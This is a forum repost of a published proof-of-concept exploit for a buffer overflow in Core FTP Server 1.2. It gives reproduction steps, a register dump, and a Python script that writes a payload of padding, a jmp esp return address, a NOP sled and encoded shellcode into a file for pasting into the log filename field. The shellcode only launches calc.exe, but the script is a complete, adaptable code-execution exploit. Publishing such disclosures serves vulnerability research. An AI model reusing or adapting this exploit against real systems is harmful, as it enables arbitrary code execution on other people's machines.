Core FTP Server 1.2 Buffer Overflow

Fi8sVrs · February 24, 2016

Core FTP Server version 1.2 buffer overflow proof of concept exploit.

#-*- coding: utf-8 -*-
#
# Exploit Title : Core FTP Server v1.2 - BufferOverflow POC
# Date: 2016-02-22
# Author: INSECT.B
#   Facebook : https://www.facebook.com/B.INSECT00
#   GitHub : binsect00
#   Blog : http://binsect00.tistory.com
# Vendor Homepage : http://www.coreftp.com/
# Software Link: 
# Version: 1.2
# Tested on: Windows7 Professional SP1 En x86 
# CVE : N/A
   
'''
[+] Type : Buffer overflow
[+] Detail : 
[-]  The vulnerability has the most typical Buffer overflow vulnerabilities. 
[-]  Insert string into 'Log filename(include path)' field that [setup] - [new] - [Logging options] - [More] 
[-]  'Log filename(include path)' field is no limit to the length and does not check the length
[-]  Insert string "A"*1500 and press Ok, OK
[-] crash info
(3bc.e28): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000111 ecx=41414141 edx=0012a3d9 esi=00502438 edi=00000001
eip=41414141 esp=00129bf0 ebp=00129bf8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
41414141 ??              ???
'''
import struct
 
junk = "A" * 312
EIP = struct.pack("<L",0x7795163b)  # USER32!gSharedInfo+0x181fb:
                                    # 7795163b ffe4            jmp     esp
nop = "\x90" * 10
 
#windows/exec calc.exe
#encode : alpha_mixed
sehll = (
"\x89\xe5\xdb\xde\xd9\x75\xf4\x59\x49\x49\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a" +
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" +
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" +
"\x75\x4a\x49\x59\x6c\x68\x68\x6f\x72\x67\x70\x77\x70\x47" +
"\x70\x75\x30\x6f\x79\x4a\x45\x44\x71\x49\x50\x30\x64\x6c" +
"\x4b\x56\x30\x34\x70\x4e\x6b\x61\x42\x56\x6c\x6c\x4b\x71" +
"\x42\x77\x64\x4c\x4b\x32\x52\x67\x58\x76\x6f\x6c\x77\x71" +
"\x5a\x31\x36\x65\x61\x49\x6f\x4e\x4c\x67\x4c\x53\x51\x61" +
"\x6c\x37\x72\x44\x6c\x47\x50\x4f\x31\x38\x4f\x54\x4d\x36" +
"\x61\x58\x47\x58\x62\x69\x62\x46\x32\x51\x47\x6c\x4b\x61" +
"\x42\x46\x70\x6c\x4b\x52\x6a\x75\x6c\x6e\x6b\x42\x6c\x34" +
"\x51\x30\x78\x79\x73\x72\x68\x65\x51\x7a\x71\x30\x51\x6c" +
"\x4b\x53\x69\x57\x50\x43\x31\x58\x53\x4c\x4b\x62\x69\x76" +
"\x78\x58\x63\x75\x6a\x37\x39\x4c\x4b\x75\x64\x6c\x4b\x36" +
"\x61\x4e\x36\x54\x71\x69\x6f\x6e\x4c\x5a\x61\x5a\x6f\x54" +
"\x4d\x43\x31\x58\x47\x45\x68\x59\x70\x32\x55\x4b\x46\x64" +
"\x43\x51\x6d\x58\x78\x45\x6b\x31\x6d\x55\x74\x50\x75\x48" +
"\x64\x42\x78\x6c\x4b\x32\x78\x77\x54\x67\x71\x38\x53\x63" +
"\x56\x4c\x4b\x66\x6c\x62\x6b\x6e\x6b\x52\x78\x35\x4c\x63" +
"\x31\x68\x53\x6e\x6b\x45\x54\x4c\x4b\x46\x61\x5a\x70\x6c" +
"\x49\x47\x34\x65\x74\x31\x34\x61\x4b\x31\x4b\x75\x31\x43" +
"\x69\x52\x7a\x36\x31\x6b\x4f\x59\x70\x73\x6f\x63\x6f\x32" +
"\x7a\x4c\x4b\x45\x42\x78\x6b\x6e\x6d\x43\x6d\x31\x7a\x63" +
"\x31\x6c\x4d\x6c\x45\x4e\x52\x75\x50\x77\x70\x47\x70\x50" +
"\x50\x63\x58\x66\x51\x4e\x6b\x62\x4f\x6b\x37\x6b\x4f\x7a" +
"\x75\x6f\x4b\x4c\x30\x68\x35\x6f\x52\x61\x46\x43\x58\x69" +
"\x36\x7a\x35\x4d\x6d\x4f\x6d\x69\x6f\x68\x55\x65\x6c\x56" +
"\x66\x33\x4c\x37\x7a\x4d\x50\x49\x6b\x79\x70\x51\x65\x37" +
"\x75\x4f\x4b\x31\x57\x75\x43\x61\x62\x70\x6f\x73\x5a\x73" +
"\x30\x46\x33\x39\x6f\x6a\x75\x70\x63\x45\x31\x42\x4c\x63" +
"\x53\x74\x6e\x71\x75\x31\x68\x73\x55\x57\x70\x41\x41"
)
payload = junk + EIP + nop + sehll
 
with open("CoreFTPServer_Ex.txt","wb") as f :
    f.write(payload)

https://www.exploit-db.com/exploits/39480/

Edited February 24, 2016 by Fi8sVrs